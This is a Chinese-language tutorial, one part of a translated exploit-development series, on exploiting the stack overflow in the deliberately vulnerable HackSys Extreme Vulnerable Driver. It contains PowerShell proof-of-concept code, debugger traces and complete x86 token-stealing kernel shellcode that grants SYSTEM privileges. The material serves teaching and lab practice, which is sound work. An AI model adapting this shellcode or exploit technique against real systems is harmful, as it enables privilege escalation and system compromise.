- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
Pwn! Pwn! Pwn!
我们已掌握了所有线索,下面就尝试去调用该漏洞方法,传递给它一些数据。这是我在 PowerShell 中编织的模板代码:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
$Buffer = [Byte[]](0x41)*0x100
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
非常棒,从调试器的输出中可以看到我们调用到了目标函数。显然我们没有发送足够多的数据来触发溢出。让我们试试发送一个 0x900(2304) 大小的 buffer。
好吧,VM 蓝屏了,经过一些辅助的运算我们可以找出到 EIP 精准的偏移(EBP 也一样)。我把这留给读者作为练习(别忘了 pattern_create)。让我们修改 POC 代码,再次出发溢出。
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
#---[EIP control]
# 0x41 = 0x800 (buffer allocated by the driver)
# 0x42 = 28 (filler)
# 0x43 = 4 (EBP)
# 0x44 = 4 (EIP)
#---
$Buffer = [Byte[]](0x41)*0x800 + [Byte[]](0x42)*28 + [Byte[]](0x43)*4 + [Byte[]](0x44)*4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x222003`n"
[EVD]::DeviceIoControl($hDevice, 0x222003, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
我们的代码在内核空间执行了,但是我们并不能为所欲为的执行任意 shellcode。有非常多的内容值得我们尝试(例如,写一个 ring3 层 shellcode stager),但我觉着目前最好还是做一个简单的提权攻击。
在 Windows 中所有的对象都有安全描述符,它们定义了在对象上谁可以执行哪些行为。有很多种 tokens 用于描述这些访问权限,但是"NT AUTHORITY\SYSTEM" token 拥有最高权限。也就是说它可以在系统上的任何对象上执行任意行为(实际上,这非常复杂)。在最基础的层面,我们想让我们的 shellcode 可以做到:(1) 找到当前进程的 token(powershell),(2) 循环遍历进程列表直到找到一个系统进程(System Process)(PID 为 4,这是个静态的系统进程 PID),(3) 找到该进程的 token,(4) 用其值覆盖当前进程的 token。
编写该 shellcode 有一点点长,你需要去查找一些静态的偏移量,我不会在这里详述。简单来说,可以查阅"x64 Kernel Privilege Escalation"一文,此外 HackSysTeam 驱动中也内置了一些 payload 示例 。可以在下面看到通用的 shellcode 结构。
#---[Setup]
pushad ; Save register state
mov eax, fs:[KTHREAD_OFFSET] ; nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET] ; nt!_KTHREAD.ApcState.Process
mov ecx, eax
mov ebx, [eax + TOKEN_OFFSET] ; nt!_EPROCESS.Token
#---[Copy System PID token]
mov edx, 4 ; PID 4 -> System
mov eax, [eax + FLINK_OFFSET] <-| ; nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET |
cmp [eax + PID_OFFSET], edx | ; nt!_EPROCESS.UniqueProcessId
jnz ->| ; Loop !(PID=4)
mov edx, [eax + TOKEN_OFFSET] ; System nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace PowerShell token
#---[Recover]
popad ; Restore register state
这一解决方案是可用的但唯独缺少了一个东西。当我们触发溢出并执行 shellcode 后我们会搞乱堆栈。我们希望 shellcode 可以补偿这一遗失以保证在复制了系统进程的 token 后,VM 不会蓝屏。
对 crash 的调查揭示了我们实际上在退出 TriggerStackOverflow
函数时只是通过覆盖返回地址来获取 EIP 的控制。
让我们在该地址下个断点,给驱动发送一个小的 buffer 使得我们可以看到在正常执行时发生了些什么。
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01F454A8
[+] UserBuffer Size: 0x100
[+] KernelBuffer: 0x93E933B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800 ret 8 <-------[Stack] 93e93bd4 936045f4 HackSysExtremeVulnerableDriver+0x45f4
93e93bd8 01f454a8
93e93bdc 00000100
93e93be0 93e93bfc
93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
HackSysExtremeVulnerableDriver+0x45f4:
936045f4 5d pop ebp <-------[Stack] 93e93be0 93e93bfc
93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
93e93be8 856cc268
HackSysExtremeVulnerableDriver+0x45f5:
936045f5 c20800 ret 8 <-------[Stack] 93e93be4 9360503d HackSysExtremeVulnerableDriver+0x503d
93e93be8 856cc268
93e93bec 856cc2d8
93e93bf0 84be4a80
****** HACKSYS_EVD_STACKOVERFLOW ******
[+] UserBuffer: 0x01DE8608
[+] UserBuffer Size: 0x824
[+] KernelBuffer: 0x93B4B3B4
[+] KernelBuffer Size: 0x800
[+] Triggering Stack Overflow
Breakpoint 0 hit
HackSysExtremeVulnerableDriver+0x45ce:
936045ce c20800 ret 8 <-------[Stack] 93b4bbd4 44444444
93b4bbd8 01de8608
93b4bbdc 00000824
93b4bbe0 93b4bbfc
93b4bbe4 9360503d HackSysExtremeVulnerableDriver+0x503d
让我们看看栈长什么样。
很幸运,当我们做宝贵的覆盖时,这并不算太坏。当我们的 shellcode 执行后我们需要简单的模拟"pop ebp"和"ret 8",这一执行流会重定向回 HackSysExtremeVulnerableDriver+0x503d 这一正确的地址。尽管它不是那么显而易见,我们也想清掉 EAX,就好像该驱动函数返回了 NTSTATUS->STATUS_SUCCESS(0x00000000)。
这可以达成欺骗效果!最终的 shellcode 如下:
$Shellcode = [Byte[]] @(
#---[Setup]
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
#---[Recover]
0x61, # popad
0x31, 0xC0, # NTSTATUS -> STATUS_SUCCESS :p
0x5D, # pop ebp
0xC2, 0x08, 0x00 # ret 8
)
我写出汇编代码并使用 Keystone 引擎 来编译。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论